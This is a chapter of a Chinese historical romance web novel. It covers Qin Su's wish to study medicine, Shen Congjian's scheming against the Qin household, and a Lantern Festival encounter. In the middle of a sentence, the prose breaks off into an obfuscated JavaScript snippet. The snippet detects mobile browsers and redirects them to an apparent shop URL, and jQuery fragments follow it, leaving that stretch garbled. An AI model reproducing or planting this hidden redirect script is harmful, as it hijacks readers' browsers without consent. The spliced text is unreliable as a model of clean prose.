除夕夜宴，秦愫从来都是同家人待在一起的，如果没有沂州那三年，或许现下她会觉得委屈，但幸好，那三年存在，如今的她只有一点点难过，忍一忍就能不在意。


    她在院里西墙根辟出一块空地，用来安置熬煮汤药的锅灶和柴火，为防刮风下雪，又让人从仔角梁套兽处扯下一块油布，堪堪遮在头顶。


    父亲看见，总说那油布太丑，得空要帮她改个凉亭，她也嬉笑着应下，父亲公务繁忙，哪里顾得上她，且这篷布约莫用不了太久，也不必大费周章。


    红蓼蹲下身，将暖手炉塞到她斗篷里，揶好后抬头问：“姑娘为何不去小厨房熬煮，这边四面通透，太冷了。”


    “小厨房虽暖和但味道太多，混淆在一起会让我嗅不出火候跟药效，我想要闻的清楚些。”


    红蓼往风口处挪步，仰头看了眼璀璨如昼的夜空，忍不住大声说道：“京城虽比沂州繁华，可总觉得不够热闹。”


    “你这话说的倒是极有意境。”秦愫细细品味，弯起眉眼回头笑道，“放心，咱们总会再回去的。”


    红蓼使劲点头。


    守岁时，秦愫换了身衣裳，却还是被秦夫人闻到药味。


    “当时送你回来的人说你跟着光霁学过医，我还当是玩笑话，如今看来你却是真的喜欢。”


    沂州外祖是医官世家，大表兄袁光霁子承父业潜心修习，弱冠之年已经在州府任医学博士，是袁家小辈中最出息的一个。


    当年秦愫磨了他好久才点头答应，起初也不太情愿，但后来见秦愫认真勤勉，这才不遗余力。


    秦愫原还困得要紧，听到沂州立时打起精神，朝着秦夫人便挨了过去，“我不是喜欢，是特别喜欢。”


    秦夫人戳她眉心：“你哪一次不是这么说的？”


    秦愫小脸一抬，央着说道：“这次真的不一样，表兄都赞过我了。”


    秦明景酒意上头，正欲起身去里屋歇息，刚要动，秦愫急急跑到他跟前，将人摁回圈椅，随即双手轻轻捶打他肩膀，讨好似的弯眸浅笑。


    秦明景怔了下，扭头：“怎么，要提的事儿你母亲办不了？”


    秦愫连连点头：“父亲英明。”


    秦夫人也起了兴致，靠着软枕将薄衾拉高盖在膝上：“快说来听听。”


    “自打离开沂州，我看医书总有一知半解的时候，想找人解惑却是不得其路，便想着请父亲帮忙寻个教我医术的师父。”


    秦夫人挑眉，顺势看向秦明景，秦明景显然也有些意外。


    两人彼此换了个眼神，秦夫人开口问道：“你学这些做什么？”


    秦愫笑：“我喜欢琢磨药材和方子，也喜欢调制药膳，学这些东西让我高兴。”


    秦夫人坐直身子：“不为旁的？”


    秦熙屏了呼吸，余光睨向秦愫。


    “等日后我想起来旁的，再跟父亲母亲交代可好。”她语气真切，说完便走到堂中，朝着秦明景和秦夫人端正福礼，“恳请父亲母亲应允，为我寻个好师父。”


    秦熙暗想：她惯会卖弄讨巧。


    偏爹娘喜欢，自小便说她玉雪可爱，便是要天上月水中花都得想方设法给她找来。


    果然，秦明景在她央求下很快点头。


    “可不许再半途而废。”


    秦愫高兴极了，眼眸愈发水亮：“我保证不会。”


    年节休沐，寻常官员大抵歇到上元节后，秦明景亦不例外，虽说养心园仍在督建中，但他只需偶尔提点一二，下属便心领神会，按部就班的进行。


    沈从简年初五便又住进署衙，昨夜忙了半宿，睁眼已是晌午，正好遇到前来巡视的秦明景。


    “说来也巧，侍奉贵妃娘娘的徐太医曾在太医署教学，若大人觉得合适，我倒是可以同徐太医提一嘴。”


    秦明景颇为惊讶：“徐太医德高望重，能答应教一个小姑娘吗？”


    沈从简凤眸轻弯，笑说：“或许就同意了呢。”


    贵妃娘娘是沈从简的嫡姐，两人一母同胞，长相上也都随了生母，都有一双极好看的凤眼。


    贵妃只比沈从简大五岁，但从记事起便习惯护着沈从简，直到现在也还是如此。


    宫婢剥好了蜜桔，用白玉盘盛着端到小案上，躬身退出内殿。


    “你不会当了真，要同秦家结亲吧。”


    殿内燃着地龙，撤了炭盆还是温热，沈贵妃便穿着单薄春衫，臂间的披帛慵懒垂在身后，她走到小案前，低眸打量沈从简的神色。


    沈从简从白玉盘中捡出一颗蜜桔，剥去丝络后递给她，沈贵妃没接，似在等他回答。


    “我若说是，阿姐待如何？”


    沈贵妃闻言一怔，旋即嘴角上翘，起身走回榻上：“你这般说话，便知没有鬼迷心窍。”


    沈从简看了眼指间的蜜桔，放回盘中。


    “我只是想看秦家人因为一场婚事闹到姐妹反目，家宅不宁，只要想想，便觉得很有趣。何况，尤氏正欢喜着，怎好当头就泼冷水。”


    他顿了顿，撑起下颌缓缓道：“当然得等她志得意满的时候，觉得她能掌控沈家的时候，忽然泼上去，我倒是想不出她那张脸会是什么表情。”


    沈贵妃揉着太阳穴，鼻底轻轻一嗤：“且让她多做几日贤妻良母。”


    “徐太医这边，阿姐费心。”


    沈贵妃斜觑他一眼：“我却要提醒你一句，莫要阴沟里翻船，自己个儿栽进去。”


    “知道了。”


    徐太医肯教秦愫，是秦家人断断不敢想的，二房和三房得了消息便赶忙前去打听，借着话家常的空闲撺掇几个孩子去寻秦愫和秦熙，巴巴等着看热闹。


    秦熙耐着性子同她们周旋，既不应声也不拒绝，摆明了针戳不透水泼不进，客客气气笑脸迎人。


    秦愫却是连敷衍都懒得做，一句话便堵了她们的虚与委蛇。


    “告诉你们，然后满京城的乱说，传我坏话是不是？”


    众人面色难看，有不服气的小声顶了句嘴：“你毕竟是秦家人，我们是替你高兴，偏你不领情，非要把我们想成坏人。”


    秦愫看过去，那是二房五妹妹，牙尖嘴利惯会颠倒黑白，像二婶婶似的喜欢嚼舌根。


    “我从沂州回京那日，要是没看错，坐在茶楼同人道我是非的正是五妹妹，不知这回五妹妹得了消息，又要如何编排我。”


    秦棠霎时面红耳赤，张着嘴僵了半晌才憋出一句话来：“你冤枉我！”


    众人原还想着插嘴说和，见秦棠被堵得哑口无言，纷纷噤声。如今秦愫名声坏了，看这阵仗怕是要破罐子破摔，谁若是同她直呛，保不齐没好果子吃。


    屋内阒然。


    秦熙咳了声，顾全着局面笑说：“姐妹间今日吵嘴明日和好，谁都免不了，可不许真的置气。”


    剑拔弩张的气氛并未因此


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13745550|145257||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    缓和。


    秦愫盯着她，忽然笑了笑，随后起身掀了帘子离开。


    她知道秦熙在和稀泥，但又如何，横竖她不需要同不在意的人解释，她们要的不是真相，而是用来调侃消遣的谈资。


    秦熙拢着衣领追上来，扯住她手臂低声道：“你方才的任性只能逞一时之快，难道要撕破脸这辈子都不说话了吗？你便是再不高兴，做事也该留有余地，咱们几家日后总要来往帮衬，面上至少过得去才好。”


    秦愫扥开手臂，往后退到廊柱边：“她们喜欢待在淤泥里，我不喜欢，我想往干净明亮的地方去，她们让我不痛快，我便也没必要同她们帮衬往来。”


    默了少顷，她又说道：“此番能得徐太医授课，承的是姐姐情谊，劳姐姐替我谢过沈世子。”


    正因如此，秦愫才没有计较那句话，分明就不是“吵嘴”。


    上元节前夕，沂州袁家的信寄到秦夫人手中。


    秦夫人看完眉心才舒展开，“还以为是你外祖母身子不好，吓得我手也发抖，心也发抖，竟是光霁要进京了。”


    信中写着，袁光霁会于二月底到京城述职，而后或许会外放到青州，走的是他父亲升迁的老路。


    秦夫人感慨：“到底光霁出息，没有辱没祖宗。”


    比起秦夫人的欢喜，秦熙可谓郁结至极，年后晋国公府虽送了礼物，但她跟沈从简却是一面也未曾见，更何况那没有定数的婚期不知要拖到何时。前些日子她同薛驰月在一块儿，得知晋国公平乱恐一年半载都难成，她便有些心烦意乱了。


    偏又不能当着父亲母亲的面表露出来，只好强撑着笑意在那坐了大半晌，偶尔点头附和，实则根本没听见母亲说了什么。


    秦愫听说袁光霁要来，很是高兴：“这几日我要给徐太医准备束脩，论究起来大表兄还是我学医后的第一位先生，合该也给他备一份才是。”


    秦夫人道：“我还想帮你备上，既有主意便自己掂量着办，可不许出岔子。”


    看她眉眼含笑，秦熙更加燥郁。


    沈从简帮忙引荐徐太医，虽家里都说是看在她的情分上，可她却不这么想，她觉得当中或许有蹊跷，可能沈从简自始至终看中的都是愫愫，是自己会错意，自作多情了。


    想到这儿，秦熙便觉得心慌气短，绝不能小觑愫愫，也决不可坐以待毙。


    上元节夜，京城不设宵禁，半城人仿佛都涌到街上。


    红蓼手里拎着一堆东西，怕跟丢了姑娘，眼睛一直不敢松懈。


    秦愫许久未在京城过上元节，被那纷繁的鳌山花树引得移不开眼线，圣上登基没几年，正是鼎盛时候，减赋税兴农业，百姓津津乐道，为此自发绘制了各式各样歌功颂德的彩灯，远远望去，恢弘壮阔。


    秦愫脚步轻快，转到卖花灯的摊贩前，停下来仔细挑选。


    她方要伸手，便见有人比她更快一步，捏住灯笼柄顺势一提，那灯笼悬在半空，流苏悠悠荡漾起来。


    秦愫顺着那手往上看，看到一张俊秾冶丽的脸。


    白净细腻，长眉凤眸，是特别好看的长相。


    她在那脸上多停留了片刻，然后别开视线，转身往别处走去。


    沈从简眉尾轻轻一蹙，他很确定，秦二姑娘不记得自己了。


    灯笼在脚下烧的只剩黢黑的框架，又脏又丑，就像三年前的他，像团破烂似的瘫在地上，被她翻捡，被她嫌弃。